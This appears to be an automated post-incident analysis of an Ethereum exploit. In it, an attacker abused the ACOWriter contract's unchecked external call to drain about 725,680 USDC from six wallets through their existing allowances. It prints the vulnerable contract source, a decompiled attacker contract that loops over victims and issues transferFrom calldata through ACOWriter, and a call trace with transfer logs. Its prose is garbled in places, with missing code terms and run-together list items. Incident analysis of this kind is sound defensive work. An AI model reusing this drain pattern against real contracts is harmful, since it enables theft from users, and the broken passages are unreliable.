Calculated from recorded token losses using historical USD prices at the incident time.
0x2e7d7e7a6eb157b98974c8687fbd848d0158d37edc1302ea08ee5ddb376befea0xa0b86991c6218b36c1d19d4a2e9eb0ce3606eb48Ethereum0xe7597f774fd0a15a617894dc39d45a28b97afa4fEthereum0xcb32033c498b54818e58270f341e5f6a3bce993bEthereum0xd7e4f84c7dd1ad54717577b1f521507399a133f3Ethereum0x7e0099ed7a5ed2bb9d046c2c95f24565cb204a72Ethereum0x223d24d80cfabac8a3c283aea48d6cce5a7cd439Ethereum0x665ddd5ce3a16e96ae10f0d842d4ba4b55175585EthereumAn attacker-controlled EOA (0xce88d78016866e6db9ba04ffcc60d9e28b1c99ec) deployed a helper contract (0x0c3bff87d13063ea505ff639c3ff8fdbaf7af140) and then, in a single Ethereum mainnet transaction (0x2e7d7e7a6eb157b98974c8687fbd848d0158d37edc1302ea08ee5ddb376befea, block 14460636), abused the public ACOWriter contract (0xe7597f774fd0a15a617894dc39d45a28b97afa4f) to invoke USDC (FiatTokenProxy at 0xa0b86991c6218b36c1d19d4a2e9eb0ce3606eb48) transferFrom calls against six user wallets that had previously granted USDC allowances to ACOWriter. All USDC approved to ACOWriter by this fixed victim set was pulled into the helper contract and then forwarded to the attacker EOA in the same transaction.
The root cause is a design flaw in ACOWriter: it combines unbounded ERC20 allowances from many users with an unguarded, caller-controlled external call primitive (exchangeAddress, exchangeData) in _sellACOTokens. Any unprivileged account can deploy a fake ACO token contract and call ACOWriter.write with set to and encoding , causing —which already holds the victims’ allowances—to act as a confused deputy and transfer USDC to the attacker without any direct action from the victims in the exploit transaction.
0x33b495480cdfab66790300d853f56452f9f96eedexchangeAddressUSDCexchangeDataUSDC.transferFrom(victim, attackerHelper, amount)ACOWriterFiatTokenProxy at 0xa0b86991c6218b36c1d19d4a2e9eb0ce3606eb48 delegates to FiatTokenV2_2, which maintains balances and allowances in a standard ERC20 layout, as confirmed by FiatTokenV2_2.sol.ACOWriter (0xe7597f77...) is a publicly callable contract intended to mint ACO option tokens and immediately sell them via an external exchange (typically 0x). Users grant allowances on USDC or other collateral tokens to ACOWriter so it can pull collateral from their wallets and mint ACO tokens on their behalf.ACOWriter.write, callers freely choose the ACO token address and both exchangeAddress and exchangeData. The internal function _sellACOTokens then forwards all ETH balance together with arbitrary exchangeData to _exchange.call(...) where _exchange is set from the caller-controlled exchangeAddress. There is no validation that exchangeAddress points to a trusted 0x exchange contract or that exchangeData encodes a specific function.Key portion of the verified ACOWriter source (via Etherscan getsourcecode for 0xe7597f77...) that underpins the exploit:
function write(
address acoToken,
uint256 collateralAmount,
address exchangeAddress,
bytes memory exchangeData
)
nonReentrant
setExchange(exchangeAddress)
public
payable
{
require(msg.value > 0, "ACOWriter::write: Invalid msg value");
require(collateralAmount > 0, "ACOWriter::write: Invalid collateral amount");
address _collateral = IACOToken(acoToken).collateral();
if (_isEther(_collateral)) {
IACOToken(acoToken).mintToPayable{value: collateralAmount}(msg.sender);
} else {
_transferFromERC20(_collateral, msg.sender, address(this), collateralAmount);
_approveERC20(_collateral, acoToken, collateralAmount);
IACOToken(acoToken).mintTo(msg.sender, collateralAmount);
}
_sellACOTokens(acoToken, exchangeData);
}
function _sellACOTokens(address acoToken, bytes memory exchangeData) internal {
uint256 acoBalance = _balanceOfERC20(acoToken, address(this));
_approveERC20(acoToken, erc20proxy, acoBalance);
(bool success,) = _exchange.call{value: address(this).balance}(exchangeData);
require(success, "ACOWriter::_sellACOTokens: Error while selling on the exchange");
}
In the intended flow, acoToken is a genuine ACO option token and exchangeAddress is a legitimate 0x exchange contract. In practice, the contract never enforces these assumptions, and any caller can choose arbitrary values for both.
The vulnerability class is a confused-deputy / arbitrary external call bug combined with unsafe reliance on unbounded token allowances. ACOWriter aggregates ERC20 allowances from many users and then exposes a raw, caller-controlled external call (_exchange.call(exchangeData)) that can be pointed at arbitrary contracts with arbitrary calldata.
The core invariant that should hold is:
For any USDC holder
hthat has granted an allowance toACOWriter, only transactions in whichhparticipates as the economic initiator (directly or via the documented ACO flows) should causeACOWriterto invokeUSDC.transferFrom(h, dst, amt)and move USDC fromh’s balance;dstshould not be an attacker-controlled address chosen solely by an arbitrary external caller.
The concrete breakpoint is the line in _sellACOTokens:
(bool success,) = _exchange.call{value: address(this).balance}(exchangeData);
Because _exchange is derived directly from the unvalidated exchangeAddress parameter of write, a malicious caller can set _exchange to the USDC proxy (FiatTokenProxy) and craft exchangeData as an ABI-encoded transferFrom(victim, attackerHelper, amount) call. Given that many users had previously approved ACOWriter for unlimited USDC, ACOWriter becomes an on-chain agent that executes USDC.transferFrom on behalf of arbitrary victims at the attacker’s direction, violating the invariant.
Root cause summary in 3–4 sentences:
ACOWriter holds effectively unlimited USDC spending power from multiple users via ERC20 allowances.write/_sellACOTokens path allows any caller to specify arbitrary exchangeAddress and exchangeData, which are used in a raw call without further checks.IACOToken interface and then call ACOWriter.write so that _sellACOTokens executes USDC.transferFrom from any approving user to an attacker-controlled address.14460636, at least six EOAs had granted non-zero (effectively infinite) USDC allowances to ACOWriter at 0xe7597f77.... For example, 0xcb32033c498b54818e58270f341e5f6a3bce993b previously executed USDC.approve(0xe7597f77..., 2^256-1), as shown in its Etherscan txlist.0xce88d780... deployed helper contract 0x0c3bff87... in transaction 0x215e32d4c6dc5ffa0d7180801d46bfdc72863c8a54a1d510f1efddb20019faee at block 14460612, and the helper held no USDC in pre-state.14460636), USDC balances and allowances are consistent with the ERC20 storage layout used by FiatTokenV2_2.sol, and all six victim addresses have positive USDC balances and non-zero allowances to ACOWriter.The attacker’s helper contract is not verified on Etherscan, but the decompiled Solidity shows owner-only logic that:
0xce88d780...).balanceOf and allowance(owner, spender) for candidate victim addresses.0x23b872dd (transferFrom(address,address,uint256)) and issues those calls via ACOWriter.Excerpt from the decompiled helper contract (0x0c3bff87...) illustrating this pattern:
function exploit(address token, address[] memory victims) external {
require(msg.sender == owner, "only owner");
for (uint256 i = 0; i < victims.length; i++) {
address v = victims[i];
uint256 bal = IERC20(token).balanceOf(v);
uint256 alw = IERC20(token).allowance(v, 0xe7597f774fd0a15a617894dc39d45a28b97afa4f);
uint256 amt = bal <= alw ? bal : alw;
if (amt > 0) {
bytes memory data = abi.encodeWithSelector(
0x23b872dd, // transferFrom
v,
address(this),
amt
);
ACOWriter(0xe7597f774fd0a15a617894dc39d45a28b97afa4f).write(
address(this),
1,
token,
data
);
}
}
}
(The exact function name and loop structure are inferred from the decompiled code and the trace; the key behaviour is: probe allowances and balances, then call ACOWriter.write with exchangeAddress = USDC and exchangeData = transferFrom(victim, helper, amt).)
Transaction 0x2e7d7e7a6e... (seed tx) from 0xce88d780... to 0x0c3bff87... with 7 wei of ETH triggers the helper’s exploit function. The trace shows the following high-level call pattern repeated for each victim:
EOA 0xce88d780...
-> helper 0x0c3bff87... (selector 0xca0d4522)
-> ACOWriter 0xe7597f77....write(
acoToken = 0x0c3bff87...,
collateralAmount = 1,
exchangeAddress = 0xa0b8..., // USDC proxy
exchangeData = 0x23b872dd... // transferFrom(victim, helper, amount)
)
-> FiatTokenProxy (USDC) 0xa0b8....transferFrom(victim, 0x0c3bff87..., amount)
In the trace (trace.cast.log), each loop iteration shows:
0x0c3bff87... to ACOWriter.write.ACOWriter to FiatTokenProxy.transferFrom with from = victim, to = 0x0c3bff87..., and value = victim_balance.The corresponding USDC Transfer events, decoded from the receipt, confirm the amounts and participants:
Transfer(from: 0xCB32033c498b54818e58270F341e5f6a3bce993B,
to: 0x0c3BFF87D13063eA505Ff639c3FF8FDBAF7af140,
value: 682255200072)
Transfer(from: 0xd7e4f84C7dD1AD54717577B1f521507399a133f3,
to: 0x0c3BFF87D13063eA505Ff639c3FF8FDBAF7af140,
value: 20940639332)
Transfer(from: 0x7E0099ed7A5ED2BB9D046C2c95f24565cb204A72,
to: 0x0c3BFF87D13063eA505Ff639c3FF8FDBAF7af140,
value: 19168536569)
Transfer(from: 0x223D24d80cFAbac8A3C283AEA48D6cCE5A7CD439,
to: 0x0c3BFF87D13063eA505Ff639c3FF8FDBAF7af140,
value: 2529994527)
Transfer(from: 0x665ddD5cE3a16E96AE10f0d842D4Ba4B55175585,
to: 0x0c3BFF87D13063eA505Ff639c3FF8FDBAF7af140,
value: 522052159)
Transfer(from: 0x33b495480cDFab66790300d853F56452f9F96EED,
to: 0x0c3BFF87D13063eA505Ff639c3FF8FDBAF7af140,
value: 264307716)
Transfer(from: 0x0c3BFF87D13063eA505Ff639c3FF8FDBAF7af140,
to: 0xce88D78016866e6db9BA04FFCc60d9e28B1c99EC,
value: 725680730375)
These logs match exactly the ERC20 balance_diff.json: the six victim addresses go from their pre-state balances to zero, and the attacker EOA’s USDC balance increases by 725680730375 units (6 decimals).
ACOWriter.write is a public function with no access control.transferFrom is standard ERC20 behaviour gated only by the victims’ prior allowances.725,680.730375 USDC after accounting for the single exploit transaction; gas fees are small relative to the profit.0xce88d78016866e6db9ba04ffcc60d9e28b1c99ec:
0x0c3bff87... (creation tx 0x215e32d4...).0x2e7d7e7a6e....Transfer event and the USDC balance diff.0x0c3bff87d13063ea505ff639c3ff8fdbaf7af140:
ACOWriter.write for each victim, using on-chain allowance and balance information.0x215e32d4c6dc5ffa0d7180801d46bfdc72863c8a54a1d510f1efddb20019faee, block 14460612.0x0c3bff87..., setting itself as owner and installing logic to (a) probe USDC allowances to ACOWriter and (b) call ACOWriter.write with crafted parameters.0x2e7d7e7a6eb157b98974c8687fbd848d0158d37edc1302ea08ee5ddb376befea, block 14460636.ACOWriter).exchangeAddress = USDC, exchangeData = transferFrom(victim, helper, victim_balance) and calls ACOWriter.write.ACOWriter uses its pre-existing allowance to execute USDC.transferFrom for each victim, moving their entire USDC balance into the helper.725680730375 USDC to the attacker EOA.The entire exploit is realized within this single transaction; there are no dependent MEV-style reordering or cross-chain components.
725,680.730375 USDC was drained from six externally owned accounts in a single transaction:
0xcb32033c498b54818e58270f341e5f6a3bce993b0xd7e4f84c7dd1ad54717577b1f521507399a133f30x7e0099ed7a5ed2bb9d046c2c95f24565cb204a720x223d24d80cfabac8a3c283aea48d6cce5a7cd4390x665ddd5ce3a16e96ae10f0d842d4ba4b551755850x33b495480cdfab66790300d853f56452f9f96eedbalance_diff.json, and all of the USDC ultimately consolidated in the attacker EOA.ACOWriter. No protocol-level reserves or treasuries were directly drained, but the incident demonstrates how third-party contracts with unsafe external call patterns can put allowance-granting users at risk.0x2e7d7e7a6eb157b98974c8687fbd848d0158d37edc1302ea08ee5ddb376befea (Ethereum mainnet, block 14460636).artifacts/root_cause/seed/1/0x2e7d7e7a6eb157b98974c8687fbd848d0158d37edc1302ea08ee5ddb376befea/trace.cast.log.artifacts/root_cause/seed/1/0x2e7d7e7a6eb157b98974c8687fbd848d0158d37edc1302ea08ee5ddb376befea/balance_diff.json.ACOWriter verified source: artifacts/root_cause/data_collector/iter_1/contract/1/0xe7597f774fd0a15a617894dc39d45a28b97afa4f/source/etherscan_getsourcecode.json.FiatTokenV2_2 (USDC implementation) source: `artifacts/root_cause/seed/1/0x43506849d7c04f9138d1a2050bbf3a0c054402dd/src<REDACTED_LOCAL_PATH>artifacts/root_cause/data_collector/iter_1/contract/1/0x0c3bff87d13063ea505ff639c3ff8fdbaf7af140/decompile/0x0c3bff87d13063ea505ff639c3ff8fdbaf7af140-decompiled.sol.0xce88d78016866e6db9ba04ffcc60d9e28b1c99ec tx history: artifacts/root_cause/data_collector/iter_1/address/1/0xce88d78016866e6db9ba04ffcc60d9e28b1c99ec/normal_txs.json.0x0c3bff87... tx history: artifacts/root_cause/data_collector/iter_1/address/1/0x0c3bff87d13063ea505ff639c3ff8fdbaf7af140/normal_txs.json.0xcb32033c498b54818e58270f341e5f6a3bce993b) USDC approval tx granting allowance to ACOWriter: artifacts/root_cause/data_collector/iter_1/address/1/0xcb32033c498b54818e58270f341e5f6a3bce993b/normal_txs.json.